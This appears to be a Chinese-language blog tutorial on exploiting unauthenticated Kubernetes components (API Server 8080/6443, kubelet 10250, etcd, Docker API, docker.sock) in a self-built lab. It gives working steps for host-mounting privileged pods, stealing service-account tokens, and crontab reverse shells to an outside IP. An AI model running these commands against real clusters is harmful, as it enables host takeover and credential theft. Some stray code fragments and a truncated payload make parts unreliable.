淺析K8S各種未授權攻擊方法

一、前言

這篇文章可能出現一些圖文截圖顏色或者命令端口不一樣的情況，原因是因為這篇文章是我重復嘗試過好多次才寫的，所以比如正常應該是訪問6443，但是截圖中是顯示大端口比如60123這種，不影響閱讀和文章邏輯，無需理會即可，另外k8s基礎那一欄。。。本來想寫一下k8s的鑒權，后來想了想，太長了，不便于我查筆記，還不如分開寫，所以K8S基礎那里屬于湊數？？？寫了懶得刪（雖然是粘貼的：））

吐槽一下：其實我發現K8S搭建失敗的大部分原因，都是出于網絡不同的原因，所以我建議直接上香港的服務器，不太建議在本地虛擬機搭建，當然我本地也搭建了虛擬機的k8s集群（我用公司的阿里云開的服務器，100M帶寬，確實快哈哈哈）

在學習k8s安全的時候，大家花費最多時間的地方應該就是K8S的搭建了，當然大佬除外，我這種菜狗才會搭環境搭很久

香港服務器搭建

1. 有成本（哪怕是按量付費，也有一定的成本）
2. 好處就是能快速的搭建，不會出現網絡導致搭建失敗的問題

本地虛擬機搭建

1. 0成本（但是有時間成本，可能在香港服務器上1個小時就能解決的事情，在本地要花很久）
2. 好處就是配置好靜態地址之后，以后在哪個網絡環境都可以訪問

二、k8s基礎

K8S全稱kubernetes，是由Google在2014年開源的生產級別的容器編排系統，或者說是微服務和云原生平臺。雖說14年才開源，但實際上K8S是Google內部的容器編排系統Borg的開源版本，在Google內部已經用了十多年了。下面是一個關于K8S的Logo來源的小插曲。

Kubernetes由谷歌在2014年首次對外宣布 。它的開發和設計都深受谷歌的Borg系統的影響，它的許多頂級貢獻者之前也是Borg系統的開發者。在谷歌內部，Kubernetes的原始代號曾經是Seven，即星際迷航中友好的Borg(博格人)角色。Kubernetes標識中舵輪有七個輪輻就是對該項目代號的致意。 

 不過也有一個說法是，Docker的Logo是一個馱著集裝箱的鯨魚，也就是運輸船，K8S的Logo是一個船舵，旨在引領著Docker（或者說容器技術）走向遠方。

01 Master

Master節點是Kubernetes集群的控制節點，每個Kubernetes集群里至少有一個Master節點，它負責整個集群的決策（如調度），發現和響應集群的事件。Master節點可以運行在集群中的任意一個節點上，但是最好將Master節點作為一個獨立節點，不在該節點上創建容器，因為如果該節點出現問題導致宕機或不可用，整個集群的管理就會失效。

在Master節點上，通常會運行以下服務：

kube-apiserver: 部署在Master上暴露Kubernetes API，是Kubernetes的控制面。

etcd: 一致且高度可用的Key-Value存儲，用作Kubernetes的所有群集數據的后備存儲，在K8s中有兩個服務需要用到etcd來協同和配置，分別如下

• 網絡插件 flannel、對于其它網絡插件也需要用到 etcd 存儲網絡的配置信息
• Kubernetes 本身，包括各種對象的狀態和元信息配置
• 注意：flannel 操作 etcd 使用的是 v2 的 API，而 Kubernetes 操作 etcd 使用的 v3 的 API，所以在下面我們執行 etcdctl 的時候需要設置 ETCDCTL_API 環境變量，該變量默認值為 2。
• etcd實現原理：http://jolestar.com/etcd\-architecture/

kube-scheduler: 調度器，運行在Master上，用于監控節點中的容器運行情況，并挑選節點來創建新的容器。調度決策所考慮的因素包括資源需求，硬件/軟件/策略約束，親和和排斥性規范，數據位置，工作負載間干擾和最后期限。

kube-controller-manager：控制和管理器，運行在Master上，每個控制器都是獨立的進程，但為了降低復雜性，這些控制器都被編譯成單一的二進制文件，并以單獨的進程運行。

02 Node

Node 節點是 Kubernetes 集群的工作節點，每個集群中至少需要一臺Node節點，它負責真正的運行Pod，當某個Node節點出現問題而導致宕機時，Master會自動將該節點上的Pod調度到其他節點。Node節點可以運行在物理機上，也可以運行在虛擬機中。

在Node節點上，通常會運行以下服務：

• kubelet: 運行在每一個 Node 節點上的客戶端，負責Pod對應的容器創建，啟動和停止等任務，同時和Master節點進行通信，實現集群管理的基本功能。
• kube-proxy: 負責 Kubernetes Services的通信和負載均衡機制。
• Docker Engine: 負責節點上的容器的創建和管理。

Node節點可以在集群運行期間動態增加，只要整個節點已經正確安裝配置和啟動了上面的進程。在默認情況下，kubelet會向Master自動注冊。一旦Node被接入到集群管理中，kubelet會定時向Master節點匯報自身的情況（操作系統，Docker版本，CPU內存使用情況等），這樣Master便可以在知道每個節點的詳細情況的同時，還能知道該節點是否是正常運行。

當Node節點心跳超時時，Master節點會自動判斷該節點處于不可用狀態，并會對該Node節點上的Pod進行遷移。

03 Pod

Pod是Kubernetes最重要也是最基本的概念，一個Pod是一組共享網絡和存儲（可以是一個或多個）的容器。Pod中的容器都是統一進行調度，并且運行在共享上下文中。一個Pod被定義為一個邏輯的host，它包括一個或多個相對耦合的容器。

Pod的共享上下文，實際上是一組由namespace、cgroups, 其他資源的隔離的集合，意味著Pod中的資源已經是被隔離過了的，而在Pod中的每一個獨立的container又對Pod中的資源進行了二次隔離。

（上圖為：K8s實戰攻擊路徑，·來自TSRC）

（上圖為：K8s常見端口，圖片有點糊，因為網上找的）

三、k8s-漏洞環境搭建

01 metarget

推薦這種方式搭建，目前能搜到的應該有以下幾種K8S搭建方式：

1. 按照文檔一步一步的安裝docker，安裝k8s
2. minikube
3. kind
4. metarget（推薦）
5. github上的一鍵安裝腳本

但是這幾種安裝方式都充斥著一些問題，比如在安裝的時候會遇到很多問題，而且如果我們想安裝安裝指定版本又非常麻煩，所以推薦metarget的方式進行安裝

git clone https://github.com/Metarget/metarget.gitcd metaget/ pip3 install -r requirements.txt

tips: 如果在centos下遇到pip 出現以下情況，并且更新之后沒有用的話，那么就用下面的方法

yum install python3-pip

不過這里建議Ubuntu安裝，因為。。。

懶得搜了，所以直接換ubuntu

回到正題，比如我這里想安裝一個1.16的k8s，使用以下命令即可

./metarget gadget install k8s --version=1.16.5

隨后就會對k8s所需要的組件挨個進行安裝并啟動

不過值得注意的是，如果使用云服務器的話，為了保證端口安全組放通，但是又怕暴露在公網受到攻擊，建議安全組端口全開，但是給到指定IP才能訪問

02 minikube

環境

• Macos Monterey

下載minikube

brew install minikube

使用minikube快速啟動，這里驅動選的是VMware，指定了k8s的版本

minikube start --kubernetes-version=v1.16.3 --driver=vmware

minikube kubectl -- get pods -A

minikube kubectl get node

還可以通過minikube 快速啟動k8s的dashboard

minikube dashboard

快速創建一個Nginx Pod

kubectl run nginxfromuzju --image=nginx --port=1112

03

kind

安裝kubectl

curl -LO https://storage.googleapis.com/kubernetes-release/release/v1.23.6/bin/linux/amd64/kubectlchmod +x ./kubectl mv ./kubectl /usr/local/bin/kubectl

下載kind(需要科學上網)

wget https://github.com/kubernetes-sigs/kind/releases/download/v0.12.0/kind-darwin-amd64chmod +x kind-darwin-amd64 mv ./kind-darwin-amd64 /usr/local/bin/kind

kind create cluster --name k8s

快速啟動一個k8s集群

kind: ClusterapiVersion: kind.x-k8s.io/v1alpha4name: k8suzju  #集群名nodes: #節點配置，如下，啟動一個master節點，一個worker節點- role: control-plane   #master節點  image: kindest/node:v1.21.1 #指定鏡像，同 kind create cluster參數--image  extraPortMappings:  - containerPort: 6443    hostPort: 26443    listenAddress: "0.0.0.0"    protocol: tcp #默認值，可不設置- role: worker

為了解決綁定在本地127.0.0.1的問題

kind create cluster --config k8s.yaml

kubectl get node

創建pods

kubectl run nginxfromuzju --image=nginx --port=1112

四、Api Server 未授權訪問(8080與6443）

部署在Master上暴露Kubernetes API，是Kubernetes的控制面。Kubernetes API服務器為API對象驗證和配置數據，這些對象包含Pod，Service，ReplicationController等等。

API Server提供REST操作以及前端到集群的共享狀態，所有其他組件可以通過這些共享狀態交互。默認情況，Kubernetes API Server提供HTTP的兩個端口：8080，6443。

insecure-port：默認端口8080，在HTTP中沒有認證和授權檢查。

secure-port ：默認端口6443， 認證方式，令牌文件或者客戶端證書，如下圖訪問http://IP:8080

一個6443和一個8080，前者會進行鑒權，后者不會

01

8080端口未授權訪問

條件：

1. k8s版本小于1.16.0
2. 
   
3. 8080對公網開放

1.1、如何打開和關閉8080端口

測試了幾個版本的k8s，發現在新版本后，–insecure-port=8080配置默認就關閉了

printf("hello world!");

這里設置為0表示關閉，甚至在高版本的k8s中，直接將--insecure-port這個配置刪除了，需要手動添加

這里將修改為8080，并添加配置

- --insecure-port=8080- --insecure-bind-address=0.0.0.0systemctl restart kubelet

上述就是打開8080端口的方法

1.2、執行命令-通過kubectl -s命令

kubectl -s ip:8080 get node

ps: 如果使用minikube搭建這里可能是隨機的大端口

獲取Pods

kubectl -s 127.0.0.1:8080 get pods

執行命令

kubectl -s 127.0.0.1:8080 --namespace=default exec -it nginxfromuzju-59595f6ffc-p8xvk bash

Tips: 在高版本的k8s中，這種方法是不行的，連不上去

1.3、獲取service-account-token

可以通過訪問api來獲取token

/api/v1/namespaces/kube-system/secrets/

1.4、獲取宿主機權限-通過k8s dashboard

創建特權Pods為什么會出現這個問題：因為在啟動dashborad的時候，管理員為了方便，修改了配置，跳過了登錄

安裝dashborad

wget https://raw.githubusercontent.com/kubernetes/dashboard/v2.2.0/aio/deploy/recommended.yaml vim recommended.yam

需要添加兩個參數，一個是不需要登錄，一個是綁定0.0.0.0地址

- --enable-skip-login- -- insecure-bind-address=0.0.0.0kubectl apply -f recommended.yaml

這里使用國際友人的配置快速啟動

• [https://medium.com/@tejaswi.goudru/disable\-authentication\-https\-in\-kubernetes\-dashboard\-2fada478ce91](mailto:https://medium.com/@tejaswi.goudru/disable-authentication-https-in-kubernetes-dashboard-2fada478ce91)

wget https://gist.githubusercontent.com/tejaswigk/da57d7911284cbf56e7f99af0afd6884/raw/de38da2a7619890a72d643d2bbd94278221e5977/insecure-kubernetes-dashboard.yml kubectl apply -f insecure-kubernetes-dashboard.yml kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard  9090:80

如果這種情況不能訪問的話，就使用下面的命令

kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:80

但是我們在這里看到了一個不安全的訪問，無法登陸，只需要更換如下的命令即可

kubectl -n kubernetes-dashboard port-forward svc/kubernetes-dashboard --address 0.0.0.0 9090:443

配置賬號

sudo vim  account.yaml # Creating a Service AccountapiVersion: v1kind: ServiceAccountmetadata:  name: admin-user  namespace: kubernetes-dashboard---# Creating a ClusterRoleBindingapiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata:  name: admin-userroleRef:  apiGroup: rbac.authorization.k8s.io  kind: ClusterRole  name: cluster-adminsubjects:- kind: ServiceAccount  name: admin-user  namespace: kubernetes-dashboardkubectl apply -f account.yaml # 獲取tokenkubectl -n kubernetes-dashboard get secret $(kubectl -n kubernetes-dashboard get sa/admin-user -o jsonpath="{.secrets[0].name}") -o go-template="{{.data.token | base64decode}}"

這里有個坑。。。。就是端口轉發然后會一直連接重置

不知道什么原因，如果有大佬知道，虛心請教！這里也有可能是香港服務器不穩定的原因造成的，因為在測試的時候發現有時候服務器的ssh也連不上，也會提示連接重置

通過創建dashboard創建pod并掛在宿主機的根目錄

apiVersion: v1kind: Podmetadata:  name: myappspec:  containers:  - image: nginx    name: container    volumeMounts:    - mountPath: /mnt      name: test-volume  volumes:  - name: test-volume    hostPath:      path: /

這里將宿主機的目錄掛在到了/mnt目錄下

ps: minikube 搭建如果此時點擊上傳返回錯誤信息the server could not find the requested resource，在網上看到文章說是kubectl的版本不一致的問題，那么也確實，因為minikube啟動的是1.16的k8s，但是終端的是1.23，不過不要緊回到POD那里之后可以看到已經創建了

可以通過寫crontab獲取shell

echo -e "* * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/1234 0>&1" >> /mnt/etc/crontab

或者通過chroot來獲取終端

02

6443端口-system:anonymous錯誤配置

如果不小心，將"system:anonymous"用戶綁定到"cluster-admin"用戶組，從而使6443 端口允許匿名用戶以管理員權限向集群內部下發指令

本來訪問會返回403

但是使用下面的配置之后就可以了

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

可以通過訪問API來獲取pod

/api/v1/namespaces/default/pods

獲取token

/api/v1/namespaces/kube-system/secrets/

創建特權容器

POST /api/v1/namespaces/default/pods HTTP/2Host: 127.0.0.1:61575User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:99.0) Gecko/20100101 Firefox/99.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateUpgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Te: trailersContent-Length: 1176{     "apiVersion": "v1",     "kind": "Pod",     "metadata": {         "annotations": {             "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\":{},\"name\":\"test-4444\",\"namespace\":\"default\"},\"spec\":{\"containers\":[{\"image\":\"nginx:1.14.2\",\"name\":\"test-4444\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\":{\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}"        },         "name": "test-4444",         "namespace": "default"    },     "spec": {         "containers": [             {                 "image": "nginx:1.14.2",                 "name": "test-4444",                 "volumeMounts": [                     {                         "mountPath": "/host",                         "name": "host"                    }                 ]             }         ],         "volumes": [             {                 "hostPath": {                     "path": "/",                     "type": "Directory"                },                 "name": "host"            }         ]     } }

隨后執行命令的時候返回400

https://127.0.0.1:61575/api/v1/namespaces/default/pods/test-4444/exec?stdout=1&stderr=1&tty=true&command=whoami

傳統藝能，搜到了這種解決方案，可惜不行

安裝wscat

npm install -g wscat

不過這里還是沒解決這個問題

并且還遇到一個問題

一開始我以為是本地的kubectl跟服務端的版本不同導致的，后來發現，并不是這樣，哪怕我在k8s的服務器上使用該命令，還是會出現這個

不過我又發現一個新的方法，雖然不知道是為什么，但是這個方法確實可行

偶然發現，這里雖然會讓你輸入賬號和密碼，但是隨便輸入之后，還是會顯示pods，那么我通過POST創建pods，然后我在用這里連上去，然后chroot去獲取宿主機權限呢？

./kubectl --insecure-skip-tls-verify -s https://ip:6443 get pods

可以看到，我們這里已經創建了惡意的pods

./kubectl --insecure-skip-tls-verify -s https://ip:6443 --namespace=default exec -it test-4444 bash

可以看到已經通過掛在宿主機根目錄到host目錄，通過chroot來到的宿主機，那么也可以看到我們root目錄下的metarget，創建一個文件看看

成功了，不過如果有k8s大佬知道這是為什么，可以告訴我，謝謝大佬，我的Github有我的微信二維碼

五、k8s kubelet 10250端口未授權

正常訪問該端口會提示未授權

并且如果直接訪問這個端口會提示404

但是如果將/var/lib/kubelet/config.yml配置錯誤的修改為如下

隨后將authorization.mode修改為AlwaysAllow

隨后重啟

systemctl restart kubelet

再訪問這個端口就會發現不需要認證，那么如何執行命令呢？

01

執行命令

curl -XPOST -k "https://${IP_ADDRESS}:10250/run///" -d "cmd="

這里需要三個參數

1. namespace
2. pod
3. container

在這里獲取

https://8.210.134.222:10250/runningpods/

02

獲取憑證

printf("hello world!");

一個 pod 與一個服務賬戶相關聯，該服務賬戶的憑證（token）被放入該pod中每個容器的文件系統樹，在 /var/run/secrets/kubernetes.io/serviceaccount/token

如果服務賬號（Service account ）綁定了 cluster-admin （即集群的 admin 權限我們可以對所有namespace下實例進行操作） ，那么我們就可以通過 token 來進行一系列的操作

嘗試了一下，這個token是可以登錄dashboard的，那么如果綁定的權限夠的話，完全可以通過這個token去登錄dashboard

03

一些問題

3.1、authorization.mode.AlwaysAllow

將這里的mode設置為AlwaysAllow之后，那么使用API就不需要鑒權了，默認是使用WebHook，在配置為WebHook請求的時候會返回如下

六、etcd未授權

01

為什么會出現etcd未授權

在啟動etcd時，如果沒有指定 --client-cert-auth 參數打開證書校驗，并且把listen-client-urls監聽修改為0.0.0.0那么也就意味著這個端口被暴露在外，如果沒有通過安全組防火墻的限制，就會造成危害

etcd默認端口2379

ps: 不過在安裝k8s之后默認的配置2379都只會監聽127.0.0.1，而不會監聽0.0.0.0，那么也就意味著最多就是本地訪問，不能公網訪問

那么我們看一下手動搭建的集群

可以發現，除了監聽本地的私有地址之外，也就只有127.0.0.1了

02

錯誤的配置--client-cert-auth

etcd的配置文件在/etc/kubernetes/manifests/etcd.yaml

如果此時將--client-cert-auth寫入到這個配置文件里面

在打開證書校驗選項后，通過本地127.0.0.1:2379地址可以免認證訪問Etcd服務，但通過其他地址訪問要攜帶cert進行認證訪問

在未使用client-cert-auth參數打開證書校驗時，任意地址訪問Etcd服務都不需要進行證書校驗，此時Etcd服務存在未授權訪問風險。

03

證書泄露

默認情況下用etcdctl 訪問2379會需要證書

但是如果證書泄露了，就可以通過證書來獲取etcd

export

ETCDCTL_CERT=/etc/kubernetes/pki/etcd/peer.crtexport ETCDCTL_CACERT=/etc/kubernetes/pki/etcd/ca.crtexport ETCDCTL_KEY=/etc/kubernetes/pki/etcd/peer.key

獲取token

/etcdctl --endpoints=https://127.0.0.1:2379/ get --keys-only --prefix=true "/" | grep /secrets/kube-system/clus

./etcdctl --endpoints=https://127.0.0.1:2379/ get /registry/secrets/kube-system/clusterrole-aggregation-controller-token-fltzp

通過該token可以獲取k8s集群的權限

kubectl --insecure-skip-tls-verify -s https://127.0.0.1:6443 --token="" -n kube-system get pods

不過這里需要注意，在kubectl 1.2的版本沒有insecure-skip-tls-verify這個參數

通過kubectl opthion也沒有看到這個參數，但是我們在1.16.6版本中可以看到有這個參數

如何安裝指定版本的kubectl

curl -LO "https://dl.k8s.io/release/{這里寫你要下載的版本}/bin/darwin/amd64/kubectl"# 例子curl -LO "https://dl.k8s.io/release/v1.16.6/bin/darwin/amd64/kubectl"

七、k8s+Docker會存在的問題

以下舉例了兩個docker會造成的問題，因為k8s+docker是比較常見的組合，所以docker上存在的問題，自然也會帶到k8s中，更多docker逃逸到我的博客

• https://uzzju.com/?id=40

01

Docker API未授權

因為現在常見的搭配還是K8s+docker的組合，那么docker上存在的問題，在這個組合中也必然會存在

漏洞原理：在使用docker swarm的時候，節點上會開放一個TCP端口2375，綁定在0.0.0.0上，如果我們使用HTTP的方式訪問會返回404 利用思路：通過掛在宿主機的目錄，寫定時任務獲取SHELL，從而逃逸

docker ps -a | grep rce

訪問ip:2375/version

payload

import docker  client = docker.DockerClient(base_url='http://192.168.0.138:2375') data = client.containers.run('al

02

掛載docker.sock

2.1、什么是docker.sock

/var/run/docker.sock是 Docker守護程序默認監聽的 Unix 套接字。它也是一個用于從容器內與Docker守護進程通信的工具  取自StackOverflowUnix Sockets 術語套接字通常是指 IP 套接字。這些是綁定到端口（和地址）的端口，我們向其發送 TCP 請求并從中獲取響應。

另一種類型的 Socket 是 Unix Socket，這些套接字用于IPC（進程間通信）。它們也稱為 Unix 域套接字 ( UDS )。Unix 套接字使用本地文件系統進行通信，而 IP 套接字使用網絡。

Docker 守護進程可以通過三種不同類型的 Socket 監聽 Docker Engine API 請求：unix, tcp, and fd. 默認情況下，在 /var/run/docker.sock 中創建一個 unix 域套接字（或 IPC 套接字）

2.2、創建docker

docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04

隨后在docker容器中安裝docker

# ubuntu 18.04安裝dockersudo apt-get update# 安裝依賴包sudo apt-get install apt-transport-https ca-certificates curl gnupg-agent software-properties-common# 添加 Docker 的官方 GPG 密鑰curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -# 驗證您現在是否擁有帶有指紋的密鑰sudo apt-key fingerprint 0EBFCD88# 設置穩定版倉庫sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"# 更新$ sudo apt-get update# 安裝最新的Docker-ce sudo apt-get install docker-ce# 啟動sudo systemctl enable docker sudo systemctl start docker

安裝完成之后我們使用docker ps就可以看到宿主機上的容器了

2.3、復現

將宿主機的根目錄掛載到容器

docker run -it -v /:/uzju ubuntu:18.04 /bin/bash

chroot uzju

可以看到宿主機root目錄上的圖片，反彈shell也是修改crontab即可

2.4、反彈shell

通過修改Crontab定時任務來反彈shell

crontab -e  

* * * * * /bin/bash -i >& /dev/tcp/192.168.0.139/123 0>&1

參考

• https://security.tencent.com/index.php/blog/msg/183
• 
  
• https://javamana.com/2022/01/202201231236091126.html#kubernetes_1
• 
  
• http://jolestar.com/etcd-architecture/
• 
  
• https://blog.csdn.net/RivenDong/article/details/107566148
• 
  
• https://www.jianshu.com/p/141d6827b688
• 
  
• [https://medium.com/@tejaswi.goudru/disable\-authentication\-https\-in\-kubernetes\-dashboard\-2fada478ce91](mailto:https://medium.com/@tejaswi.goudru/disable-authentication-https-in-kubernetes-dashboard-2fada478ce91)
• 
  
• https://www.cdxy.me/?p=827
• 
  
• https://mp.weixin.qq.com/s/WJ14yyrLptQnRovFoGYv8A